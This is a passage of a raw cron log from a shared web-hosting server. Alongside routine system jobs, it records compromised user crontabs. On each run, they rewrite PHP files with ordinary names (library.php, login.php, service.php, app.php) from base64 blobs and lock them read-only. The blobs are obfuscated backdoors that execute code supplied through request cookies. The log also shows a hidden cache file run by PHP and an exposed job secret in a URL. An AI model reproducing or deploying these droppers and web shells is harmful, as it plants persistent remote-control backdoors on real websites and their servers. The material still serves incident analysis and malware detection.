YWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:13:01 medusa CROND[1844]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:14:01 medusa CROND[3517]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:14:01 medusa CROND[3519]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:14:01 medusa CROND[3520]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:14:01 medusa CROND[3521]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:14:01 medusa CROND[3522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:14:01 medusa CROND[3524]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:14:01 medusa CROND[3523]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:14:01 medusa CROND[3525]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:14:01 medusa CROND[3527]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:14:01 medusa CROND[3534]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:14:01 medusa CROND[3535]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 15:14:01 medusa CROND[3536]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:14:01 medusa CROND[3537]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:15:02 medusa CROND[5376]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 15:15:02 medusa CROND[5377]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 15:15:02 medusa CROND[5378]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:15:02 medusa CROND[5379]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:15:02 medusa CROND[5380]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 15:15:02 medusa CROND[5381]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:15:02 medusa CROND[5382]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 15:15:02 medusa CROND[5390]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:15:02 medusa CROND[5391]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 15:15:02 medusa CROND[5388]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 15:15:02 medusa CROND[5395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:15:02 medusa CROND[5400]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:15:02 medusa CROND[5401]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 15:15:02 medusa CROND[5389]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 15:15:02 medusa CROND[5404]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 15:15:02 medusa CROND[5402]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 15:15:02 medusa CROND[5405]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 15:15:02 medusa CROND[5406]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:15:02 medusa CROND[5407]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:15:02 medusa CROND[5409]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 15:15:02 medusa CROND[5410]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:15:02 medusa CROND[5411]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbn